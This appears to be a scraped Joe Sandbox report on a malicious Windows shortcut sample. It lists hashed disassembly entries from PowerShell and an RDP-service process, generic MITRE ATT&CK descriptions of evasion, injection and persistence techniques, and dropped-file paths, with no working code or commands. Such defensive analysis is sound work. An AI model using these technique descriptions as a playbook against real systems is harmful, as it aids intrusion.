API String ID: 0-2565176026
Opcode ID: 49535509284d44388b5c53a5fcf42e7234ff940804569f9914f8e57d2a3a5ff7
Instruction ID: bc00ac234399298cb4aecf63b408e1df445c9536738449f7c703cbc1a874c5a6
Opcode Fuzzy Hash: 49535509284d44388b5c53a5fcf42e7234ff940804569f9914f8e57d2a3a5ff7
Instruction Fuzzy Hash: 5C415231B1894A4BEFA8FA7884B56B9B3E1FF95310F14017DD44ED76D2DE28A842C781

Function 00007FFD833AB040 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

r68, xrefs: 00007FFD833AB05E

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID: r68
API String ID: 0-2565176026
Opcode ID: d0956ccfaa28c463a639b6264562b272e827dd6d0337e1885eae660c6f0cffdb
Instruction ID: 1aa36f8787f0d4bbc342e4abc1e8398059ee327edd878c3d885322a7d70f1915
Opcode Fuzzy Hash: d0956ccfaa28c463a639b6264562b272e827dd6d0337e1885eae660c6f0cffdb
Instruction Fuzzy Hash: 6C21603161CB898FE790EB78C45866AB7D1FB98314F144A7EE08DC3251EB78D484C742

Function 00007FFD833A7DCE Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f5b946c0e7675c4367b0cfcabf7212d19845729031cf11109a3a1f42b35677c
Instruction ID: f4ca8cb6abae24a47948fe318edbbbb28355c80a09e3703a8976da329f264e07
Opcode Fuzzy Hash: 2f5b946c0e7675c4367b0cfcabf7212d19845729031cf11109a3a1f42b35677c
Instruction Fuzzy Hash: 6361D431A08A5C8FDB68EF58D8957E9B7F0FF68311F0442AAD44DE3251DB70A985CB81

Function 00007FFD833AAC32 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9902db3c07299e3dc5aefb9a068e9fc3eed59a28154fd62d43bc4be992192fc7
Instruction ID: 77881d2394dac2f96ebdc764c14fa94127bc272dde8f6c51041c1b0b26086ea3
Opcode Fuzzy Hash: 9902db3c07299e3dc5aefb9a068e9fc3eed59a28154fd62d43bc4be992192fc7
Instruction Fuzzy Hash: ED417231F18D494BDB99FB2888666E9B3E1FFA8301F04457AD00ED3592DE38B9458781

Function 00007FFD833A7ED0 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77883f8d25e59af524f4619f41e50b1a84281acd97082f4c265efc41e96ed8c6
Instruction ID: ccf05e75de4b618eb8c8fe6f6b7a86957e07851d8c6db66da0e4735c4ad305a0
Opcode Fuzzy Hash: 77883f8d25e59af524f4619f41e50b1a84281acd97082f4c265efc41e96ed8c6
Instruction Fuzzy Hash: 5941F831908A4D8EEB64FF48D8917FDB7F0FF58320F04426AD45EA3651DA74AA45CB81

Function 00007FFD833A7EEF Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1ab65e03926e0d2fa08d0d491639e93fc55b76ffd1a5f8594073caf72001ade
Instruction ID: 6dcf7e42dcdb84c8dbdb6884e2e534d07d4bc2d5ddfee9bc7b1e39b30e687e5f
Opcode Fuzzy Hash: e1ab65e03926e0d2fa08d0d491639e93fc55b76ffd1a5f8594073caf72001ade
Instruction Fuzzy Hash: 8B417431A08A5C8FDF55EF48D891BE9B3B1FF64310F04829AD44EA7251DE70AA85CF81

Function 00007FFD833A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5566a11b3130019c4514dc0afe5abb2a42dbc703af42b3b729dc32f024361a52
Instruction ID: 4579f89eb245eaeabf53dbe2e12c37e8c21e121f105c6565f11e24dd35a1e859
Opcode Fuzzy Hash: 5566a11b3130019c4514dc0afe5abb2a42dbc703af42b3b729dc32f024361a52
Instruction Fuzzy Hash: 3101677121CB0C4FDB48EF0CE451AA6B7E0FB95324F50056DE58AC3691DB36E882CB46

Function 00007FFD833A6F81 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc52349844aeeec7e9e6438a9ab5239f88315dde4c3b8054d44fabf05eefcad0
Instruction ID: 574a22deda10a1fa7930fbe7d6cd920cae013688a883de63a422e9663518a8ca
Opcode Fuzzy Hash: fc52349844aeeec7e9e6438a9ab5239f88315dde4c3b8054d44fabf05eefcad0
Instruction Fuzzy Hash: 0301FC2190EF854FD366EB3888661A17FE0EF5521070946ABC04DC7593D918598AC352

Function 00007FFD833A6FA0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79008e35930bbc856d3a6aac7ae404cb86ce18fbca93025241f98cc16bb57ee5
Instruction ID: 22bb46f64cb45100505b1e71c53c47141ea21c05206f1e9c41f4d64c181947d0
Opcode Fuzzy Hash: 79008e35930bbc856d3a6aac7ae404cb86ce18fbca93025241f98cc16bb57ee5
Instruction Fuzzy Hash: 7FF08220E18E094FD768EF2894951A6B2F1EF682117148A7BD05EC3596DE25A94A8382

Non-executed Functions

Function 00007FFD833A0655 Relevance: 7.6, Strings: 6, Instructions: 78COMMON

Download Yara Rule

Strings

p0U, xrefs: 00007FFD833A06A1
8,U, xrefs: 00007FFD833A06C1
(0U, xrefs: 00007FFD833A06E1
P/U, xrefs: 00007FFD833A06B1
/U, xrefs: 00007FFD833A0681
H1U, xrefs: 00007FFD833A0671

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID: (0U$8,U$H1U$P/U$p0U$/U
API String ID: 0-1305822166
Opcode ID: fddedbb237719eec5db77ce03a275e1cba3e90b80a4a5a63d9cd2a97992a65ba
Instruction ID: b1ecaa4574c98a237c75c67cc6fcda12f96a60185e79e3f669023cd2ae28b070
Opcode Fuzzy Hash: fddedbb237719eec5db77ce03a275e1cba3e90b80a4a5a63d9cd2a97992a65ba
Instruction Fuzzy Hash: 53218093A4FAC00FE75A66A4286A1256FB1BF9321072C00FBE08C5A1EB9441A949C352

Analysis Process: myRdpService.exePID: 5348, Parent PID: 864COMMON

Non-executed Functions

Function 00007FF72359DB00 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF72359DB2C
GetCurrentThreadId.KERNEL32 ref: 00007FF72359DB3A
GetCurrentProcessId.KERNEL32 ref: 00007FF72359DB46
QueryPerformanceCounter.KERNEL32 ref: 00007FF72359DB56

Memory Dump Source

Source File: 0000002F.00000002.4927234870.00007FF7234E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7234E0000, based on PE: true

Associated: 0000002F.00000002.4927158595.00007FF7234E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4929024968.00007FF7239E6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4929732468.00007FF723BA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4929732468.00007FF723CEA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4929732468.00007FF723CEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4931272476.00007FF723F40000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4931393451.00007FF723F42000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4931393451.00007FF723F4C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4931393451.00007FF723F5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4931393451.00007FF723F60000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4931393451.00007FF723F63000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4931393451.00007FF723F65000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002F.00000002.4932082362.00007FF723F68000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_7ff7234e0000_myRdpService.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction ID: b757c5ae02a190d9d1b699469fcf5ab28d2445ba1ab25e393eec96950e544394
Opcode Fuzzy Hash: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction Fuzzy Hash: B3114F22B14F0189EB40EF60EC542A873A4FB18758F840A31EB6D96B54DF78D2948790

Analysis Process: powershell.exePID: 2376, Parent PID: 8220COMMON

Executed Functions

Function 00007FFD83460411 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000036.00000002.4817845467.00007FFD83460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_7ffd83460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d34174728d2c33c9fa872c0fddc6bac93dc27d6c329b564589642c9389d59f19
Instruction ID: fe78388c3d83701ced050a108a13cb936eccd821ee9c7843aade88797f8a576a
Opcode Fuzzy Hash: d34174728d2c33c9fa872c0fddc6bac93dc27d6c329b564589642c9389d59f19
Instruction Fuzzy Hash: AA811471A0DA8C4FEB95EB6C98646A53BE0FF59301F0801BBE44DC7193EA28EC15C381

Function 00007FFD833934B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000036.00000002.4814128935.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7ed0a02f0cb98cc9e00dbc1af05dc2966ecaa984761e8ae08ff1e5d7aea48f9
Instruction ID: 858801b172afc394a595403640f0964502ac1f828e01459ce30d73c0b6066b8d
Opcode Fuzzy Hash: d7ed0a02f0cb98cc9e00dbc1af05dc2966ecaa984761e8ae08ff1e5d7aea48f9
Instruction Fuzzy Hash: B901447125CB0C8FDB48EF0CE451AA6B7E0FB95324F50056DE58AC3651D626E882CB46

Non-executed Functions

Function 00007FFD83390655 Relevance: 7.7, Strings: 6, Instructions: 172COMMON

Download Yara Rule

Strings

8,U, xrefs: 00007FFD833906B1
P/U, xrefs: 00007FFD833906A1
p0U, xrefs: 00007FFD83390691
(0U, xrefs: 00007FFD833906D1
-U, xrefs: 00007FFD83390751
/U, xrefs: 00007FFD83390661

Memory Dump Source

Source File: 00000036.00000002.4814128935.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: (0U$8,U$P/U$p0U$-U$/U
API String ID: 0-1369446254
Opcode ID: 7a4f6bfe78f3f5161e71ae9ac1c8c908cdcefb7fd0790221ffc31f8a9bd033b0
Instruction ID: 3b06159d8dfa65210ed0a2504f605d26c678e14d41a5af94134e6e830c5cf65f
Opcode Fuzzy Hash: 7a4f6bfe78f3f5161e71ae9ac1c8c908cdcefb7fd0790221ffc31f8a9bd033b0
Instruction Fuzzy Hash: B151D593A0F6C29FF756A6B40C791746FA0BF6336071C00BBE89C261D7D924AC09C792

Function 00007FFD83392A58 Relevance: 5.5, Strings: 4, Instructions: 454COMMON

Download Yara Rule

Strings

Gm_H, xrefs: 00007FFD83392CF4
Hm_H, xrefs: 00007FFD83392BF4
rb], xrefs: 00007FFD83392A74
Fm_H, xrefs: 00007FFD83392DF4

Memory Dump Source

Source File: 00000036.00000002.4814128935.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: Fm_H$Gm_H$Hm_H$rb]
API String ID: 0-453090730
Opcode ID: 14bf60314c2fd70fb3f841df79ca3998b369c389bf69645d5820919a49190cf9
Instruction ID: 6a002fb5a04fcfba8cf93f86598bc11597eb028bb2fc9b4a7418a6a9285aebb0
Opcode Fuzzy Hash: 14bf60314c2fd70fb3f841df79ca3998b369c389bf69645d5820919a49190cf9
Instruction Fuzzy Hash: 29C1B522B0DE8E4FE796AA2C58756B57BE0FF67211B0900B7D84CEB1A3DD189C46C311

Analysis Process: powershell.exePID: 1404, Parent PID: 3548COMMON

Executed Functions

Function 00007FFD833A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000037.00000002.4912943904.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5566a11b3130019c4514dc0afe5abb2a42dbc703af42b3b729dc32f024361a52
Instruction ID: 4579f89eb245eaeabf53dbe2e12c37e8c21e121f105c6565f11e24dd35a1e859
Opcode Fuzzy Hash: 5566a11b3130019c4514dc0afe5abb2a42dbc703af42b3b729dc32f024361a52
Instruction Fuzzy Hash: 3101677121CB0C4FDB48EF0CE451AA6B7E0FB95324F50056DE58AC3691DB36E882CB46

Non-executed Functions

Function 00007FFD833A06B0 Relevance: 10.1, Strings: 8, Instructions: 113COMMON

Download Yara Rule

Strings

p0U, xrefs: 00007FFD833A06F1
8,U, xrefs: 00007FFD833A0711
/U, xrefs: 00007FFD833A06D1
H1U, xrefs: 00007FFD833A06C1
(0U, xrefs: 00007FFD833A0731
P/U, xrefs: 00007FFD833A0701
], xrefs: 00007FFD833A074C
-U, xrefs: 00007FFD833A0751

Memory Dump Source

Source File: 00000037.00000002.4912943904.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID: (0U$8,U$H1U$P/U$]$p0U$-U$/U
API String ID: 0-3905543599
Opcode ID: 588a4094e04a4fe700f2be3eae2bc41d9f68b14faee7e4ab4c81a2a5fca4cdc2
Instruction ID: 1e266d140c1f88f874bd8e20e6e3c27fa232ed068652f06693bcceaca469c8a7
Opcode Fuzzy Hash: 588a4094e04a4fe700f2be3eae2bc41d9f68b14faee7e4ab4c81a2a5fca4cdc2
Instruction Fuzzy Hash: 3B31D393A0FEC10FF756A6A4186A1656FA1BF53250B1C00FFE0DC171EBD466AD4AC781

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WXahq3ZEss.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Office\Licenses\5\Perpetual\21661362613116367064193984360 (copy)

C:\Users\user\AppData\LocalLow\Intel\ShaderCache\55358e20b61aed6fcad5b2283103fb1fe9f3dd3668577b575161f953d12f5a3f

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{63EDF38C-F375-4707-B0DC-AFC864D80E8C}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\5C366A3F.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733916566627829400_D23B500E-84AB-4181-8439-BC356C0C23FF.log

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733916566628789400_D23B500E-84AB-4181-8439-BC356C0C23FF.log

Windows Analysis Report
WXahq3ZEss.lnk

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
